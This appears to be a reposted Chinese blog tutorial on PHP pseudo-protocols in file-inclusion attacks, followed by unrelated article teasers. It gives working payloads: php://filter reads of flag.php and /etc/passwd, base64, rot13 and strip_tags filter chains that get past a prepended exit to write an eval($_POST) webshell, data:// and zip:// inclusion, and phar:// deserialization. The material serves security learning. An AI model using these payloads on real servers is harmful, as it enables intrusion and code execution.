学习笔记-php伪协议

news/2024/4/26 1:54:18/文章来源:https://blog.csdn.net/sinat_35360663/article/details/127623447

伪协议


相关文章 & Source & Reference

  • PHP伪协议的妙用

filter协议

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>       该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

文件包含的案例

<?php
$file = $_GET["file"];
include($file);
?>

在同目录下有一个flag.php文件

<?php
$flag = "flag{test}";

想要读取 flag.php 文件,可以利用 filter 伪协议,传参如下:

?file=php://filter/convert.base64-encode/resource=flag.php

这样即可读到 flag.php 文件 base64 加密过后的内容

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tMeHh4fSI7DQo/Pg==

然而,对于 filter 协议,不只有这一种写法:

?file=php://filter/read=convert.base64-encode/resource=flag.php
# 这一种是指定读链的筛选列表?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
# 字符编码类型,将其解码,同样可以得到flag.php原内容?file=php://filter/read=string.toupper|string.rot13/resource=flag.php?file=php://filter/string.strip_tags=/etc/passwd

假设我们有以下代码

<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);

这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加 exit 的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。

分析这几行代码,一共需要我们传两个参数,一个是 POST 请求的 content,另一个是 GET 请求的 filename,而对于 GET 请求中的 filename 变量,我们是可以通过 php://filter 伪协议来控制的,在前面有提到,最常见的方法是使用 base64 的方法将 content 解码后传入。

base64编码绕过

假设我们先随便传入一句话木马:

?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

这个时候我们打开1.php文件:

可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了 base64 解码,而且前面的 exit 也进行了解码。

仔细分析一下 exit 的代码:

<?php exit; ?>

base64 编码中只包含 64 个可打印字符,而当 PHP 在解码 base64 时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。

例如:

<?php
$str = "dGVzdA==";
echo base64_decode($str);
?>

得到结果:test

如果我们在 str 变量中添加一些不可见的字符或者是不可解码字符(\x00,?)

<?php
$str = "dG?VzdA==";
echo base64_decode($str);
?>

得到的结果仍然为:test

因此,对于 exit 中的代码,字符 <、?、;、>、空格等字符不符合 base64 解码范围。最终解码符合要求的只有 phpexit 这 7 个字符,而 base64 在解码的时候,是 4 个字节一组,因此还少一个,所以我们将这一个手动添加上去。

传payload如下:

?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

content中第一个字符a就是我们添加的

这个时候我们查看1.php的内容如下:

可以看到一句话木马已经成功写入了。

rot13编码绕过

除了使用 base64 编码绕过,我们还可以使用 rot13 编码绕过。相比 base64 编码,rot13 的绕过 exit 更加方便,因为不用考虑前面添加的内容是否可以用 base64 解码,也不需要计算可 base64 解码的字符数量。

传payload:

?filename=php://filter/string.rot13/resource=2.phpPOSTDATA: content=<?cuc riny($_CBFG[1]);?>

打开1.php文件:

多种过滤器绕过

再仔细观察 exit 的代码:

<?php exit; ?>

可以看到 exit 的代码其实本质上是 XML 标签,因此我们可以使用 strip_tags 函数除去该 XML 标签

并且,filter 协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码:

?filename=php://filter/string.strip_tags|convert.base64-decode/resource=3.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+


php://data

<?php$page = $_GET['a'];include($page);
?>// ?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

其中 base64 部分就是 <?php phpinfo();


zip://

先将要执行的 PHP 代码写好文件名为 phpcode.txt, 将 phpcode.txt 进行 zip 压缩, 压缩文件名为 file.zip, 如果可以上传 zip 文件便直接上传, 若不能便将 file.zip 重命名为 file.jpg 后在上传,其他几种压缩格式也可以这样操作。

由于 # 在 get 请求中会将后面的参数忽略,所以使用 get 请求时候应进行 url 编码为 %23,

?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

phar://

phar://php://filterdata:// 等流包装一样,都是将一组 php 文件打包,并创建默认执行的标志 (stub)

phar:// 协议可以用于触发反序列化

这个方法是在BlackHat 大会上的 Sam Thomas 分享了 File Operation Induced Unserialization via the “phar://” Stream Wrapper ,该研究员指出该方法在文件系统函数 (file_get_contents 、 unlink 等) 参数可控的情况下,配合 phar:// 伪协议 ,可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作。

phar 是 PHP 提供的一种压缩和归档的方案,并且还提供了各种处理它的方法。

phar 结构

phar 由四部分组成:

  1. stub

    即用来标识 phar 文件的部分,类似 MZ 头。格式为

    <?php
    Phar::mapPhar();
    include 'phar://phar.phar/index.php';
    __HALT_COMPILER();
    ?>
  2. manifest describing the contents

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分,也存储用户自定义的meta-data,这是用来攻击的入口,最核心的地方

  3. the file contents

    被压缩文件的内容

  4. signature for verifying Phar integrity

    可选项,即签名。

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_410140.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网课查题系统搭建-查题校园题库

网课查题系统搭建-查题校园题库 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 查题校园题库&#xff1a;查题校园题库后台&…

【C++笔记】第十九篇 多态

C的多态 1. 多态简介 ① 多态是C面向对象三大特性之一。 ② 多态分为两类&#xff1a; 静态多态&#xff1a;函数重载和运算符重载属于静态多态&#xff0c;复用函数名。动态多态&#xff1a;派生类和虚函数实现运行时多态。 ③ 静态多态和动态多态区别&#xff1a; 静态…

【源码分析】Spring中的设计模式——Context与Factory的关系

省流助手 两个类都实现了同一个接口&#xff0c;但是其中一个类对接口的实现是通过调用另一个类的接口实现来实现的&#xff0c;这就是静态代理模式(也可以说是装饰器模式&#xff0c;这俩区别不大) 这个例子中就是AbstractBeanFactory和AnnotationConfigApplicationContext都…

电子签批板那个品牌好用?国产柜台电子签名板推荐

如今已正式迈入数字时代&#xff0c;电子合同、电子签名不再新奇&#xff0c;各行各业对电子签名呈现出多元化的细分需求&#xff0c;应用场景也更加广泛。目前通信、银行、保险、酒店、政务等有柜台业务服务的领域大多都已配备了电子签字板用以替代传统纸张业务办理流程。加上…

First time to know JAVA

文章目录前言1.JAVA语言概述1.1 JAVA是什么&#xff1f;1.2 JAVA语言的重要性1.3 JAVA语言的发展简史1.4 JAVA语言的特性2.初识JAVA的main方法2.1 main方法示例2.2 运行JAVA程序3.JAVA中的注释3.1 JAVA注释的基本规则3.2 JAVA注释规范4.初始JAVA中的标识符5.初始JAVA中的关键字…

pycharm中做web应用(12)基于Django和mysql 做用户登录验证2

目录pycharm中做web应用&#xff08;12&#xff09;基于Django和mysql 做用户登录验证2Django的用户验证方法Django架构的数据模型数据模型实现方法1&#xff1a;数据模型实现方法2&#xff1a;代码的实现pycharm中做web应用&#xff08;12&#xff09;基于Django和mysql 做用户…

什么蓝牙耳机听歌好?听歌音质好的蓝牙耳机推荐

蓝牙技术已经非常先进了&#xff0c;很多蓝牙耳机的音质体验可以跟有线耳机媲美了。正因为蓝牙耳机的便捷&#xff0c;越来越多的人开始选择蓝牙耳机。如果你还在纠结听歌的音质的话&#xff0c;可以看看下面几款&#xff01; 1、南卡小音舱蓝牙耳机 音质推荐指数&#xff1a…

IDERA ER/Studio Data Architect构建数据模型

IDERA ER/Studio Data Architect能够从用户的单个界面为多个数据库平台创建和管理数据模型。信息建模人员和架构师都希望对与小型业务需求相关的不同高度的数据做出反应。有一些关键行动可能希望他们的重点包括在内。 这些措施包括&#xff1a; 构建数据模型作为增长周期的一部…

LeetCode刷题day25||216.组合总和III17.电话号码的字母组合--回溯

文章目录216.组合总和III题目描述思路分析代码17.电话号码的字母组合题目描述思路分析代码216.组合总和III 题目描述 题目链接 思路分析 相对于77. 组合 (opens new window)&#xff0c;无非就是多了一个限制&#xff0c;本题是要找到和为n的k个数的组合&#xff0c;而整个集…

基于全志T133-s3(Tina Linux)移植7寸RGB显示屏驱动

基于全志T133-s3&#xff08;Tina Linux&#xff09;移植7寸RGB显示屏驱动1.硬件电路2.LCD实物图3.LCD 的驱动4.uboot配置4.1.配置文件4.2.uboot设备树5.kernel配置5.1.内核配置5.2.设备树配置6.测试屏幕7.LVGL实测1.硬件电路 2.LCD实物图 3.LCD 的驱动 Tina Linux 提供了一套…

查题公众号搭建

查题公众号搭建 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 查题校园题库&#xff1a;查题校园题库后台&#xff08;点击跳转…

TI Application Notes_Programming Chirp Parameters in TI Radar Devices

Application Notes_Programming Chirp Parameters in TI Radar Devices 1 介绍 system requirement and chirp configuration:系统要求决定了波形或者chirp如何配置。甲方首先提出要求,然后乙方根据要求进行chirp设计。chirp参数的不同会影响系统的参数,如Rmax,Vmax,Rre…

107.(前端)分类管理增加值实现——使用elementui中的动态编辑标签发送请求

1.概述 本节要实现的功能就是&#xff0c;当我们点击动态编辑标签时&#xff0c;丢失焦点或者回车时&#xff0c;发送请求。 2.流程 handleInputConfirm()中&#xff0c;验证form输入框中是否存在值&#xff0c;若存在添加数据到val&#xff0c;若不存在&#xff0c;就制空va…

RHCE(逻辑卷LVM,NFS服务)

LVM逻辑卷管理&#xff0c; 是将一个或多个硬盘的分区在逻辑上集合&#xff0c;相当于一个大硬盘来使用&#xff0c;当硬盘的空间不够用的时候&#xff0c;可以继续将其它的硬盘的分区加入其中&#xff0c;这样可以实现磁盘空间的动态管理&#xff0c;相对于普通的磁盘分区有很…

《循序渐进学docker》书摘

循序渐进学docker笔记摘要 docker工作流程docker版本控制 和增量更新docker制作和下发镜像流程图windows安装 :docker官网下载docker ToolDbxdocker搭建个人博客wordpressdocker搭建本地gitlab服务docker基本概念:镜像 容器 仓库docker指令和基本用法docker工作流程

MySQL调优之关联查询优化

我们准备如下两个表&#xff0c;并插入数据。 #分类 CREATE TABLE IF NOT EXISTS type ( id INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, card INT(10) UNSIGNED NOT NULL, PRIMARY KEY (id) ); #图书 CREATE TABLE IF NOT EXISTS book ( bookid INT(10) UNSIGNED NOT NULL AU…

天翼物联亮相2022中国信息通信业发展高层论坛

近日&#xff0c;由中国通信企业协会主办的2022中国信息通信业发展高层论坛成功召开&#xff0c;天翼物联受邀出席论坛并分享了中国电信5G赋能未来的创新实践&#xff0c;共话“万物智联”发展未来。 本次论坛以“数智赋能 共创未来”为主题。在论坛专题报告环节&#xff0c;天…

同元软控新一代复杂装备虚拟试验解决方案与实践

在各类复杂装备工程研制中&#xff0c;试验的重要性是毋庸置疑的。试验作为整个研制流程中必不可少的环节&#xff0c;往往是物料、时间、经济等成本消耗最大的阶段。以航空发动机为例&#xff0c;据统计&#xff0c;现代航空发动机整体研制成本中&#xff0c;试验及试验所需的…

《2022中国企业数字化办公创新与实践产业研究报告》附下载丨三叠云

数字化时代已来&#xff0c;数字化办公工具 已成为企业数字化转型发展的基座 从思维理念到工具创新&#xff0c;办公从原来的物理空间走向现代化无边界的“云端” 数字化办公突破传统信息存储、挖掘、交互的藩篱&#xff0c;最终实现“办公协同” 需求与挑战并存&#xff0c…

数据结构——克鲁斯卡尔(Kruskal)算法

克鲁斯卡尔算法是求连通网的最小生成树的另一种方法。与普里姆算法不同&#xff0c;它的时间复杂度为O&#xff08;eloge&#xff09;&#xff08;e为边数&#xff09;&#xff0c;适合于求边稀疏的网的最小生成树 。克鲁斯卡尔算法从另一途径求网的最小生成树。其基本思想是&a…